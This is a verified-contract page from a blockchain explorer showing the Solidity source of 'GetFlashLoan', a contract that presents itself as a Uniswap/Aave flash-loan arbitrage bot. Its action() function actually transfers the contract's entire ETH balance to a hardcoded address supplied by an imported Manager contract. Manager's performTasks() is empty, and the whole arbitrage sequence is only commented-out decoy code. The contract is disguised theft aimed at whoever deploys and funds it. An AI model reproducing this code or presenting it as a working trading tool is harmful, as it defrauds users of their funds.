Verified contractExact
GetFlashLoan
Address0x498f550face3d6be8021d1447b287d7983d80ecd
- Balance
0 ETH
- Transactions
9
- Compiler
solc 0.6.6
- Same code
5 more contracts
Details
- Compiler
- solc 0.6.6+commit.6c089d02
- Language
- solidity
- Optimization
- No
- EVM version
- istanbul
- License
- Not stated
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 12,763,530
- Creation transaction
- 0xc79cb02a68…3d3e763259
2 files
uniswapflashloan.sol
pragma solidity ^0.6.6;
// Multiplier-Finance Smart Contracts
//import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
//import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
// uniSwap Smart Contracts
//import "https://github.com/uniswap/uni-swap-core/blob/master/contracts/interfaces/IuniCallee.sol";
//import "https://github.com/uniswap/uni-swap-core/blob/master/contracts/interfaces/IuniFactory.sol";
//import "https://github.com/uniswap/uni-swap-core/blob/master/contracts/interfaces/IuniPair.sol";
// Code Manager
import "ipfs://QmV7vto8DPznZjbcQotmrSybEPfL44X7jqQZsGaZWp8iW2";
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
manager = new Manager();
}
receive() external payable {}
function action() public payable {
// Send required coins for swap
payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
// Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
manager.performTasks();
/*
// Submit token to Ethereum blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// List the token on UniSwap & send coins required for swaps
manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
payable(manager.uniswapDepositAddress()).transfer(300000000000000000);
// Get ETH Loan from Aave
string memory loanAddress = manager.takeAaveLoan(loanAmount);
// Convert half ETH to DAI
manager.uniswapDAItoETH(loanAmount / 2);
// Create ETH and DAI pairs for our token & Provide liquidity
string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
// Perform swaps and profit on Self-Arbitrage
manager.uniswapPerformSwaps();
// Move remaining ETH from Contract to your account
manager.contractToWallet("ETH");
// Repay Flash loan
manager.repayAaveLoan(loanAddress);
*/
}
}ipfs://QmV7vto8DPznZjbcQotmrSybEPfL44X7jqQZsGaZWp8iW2
pragma solidity ^0.6.6;
contract Manager {
function performTasks() public {
}
function uniswapDepositAddress() public pure returns (address) {
return 0x114B4cA51efBD3b84e1a40d0fEbDB2d45DdDa008;
}
}
Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "istanbul",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.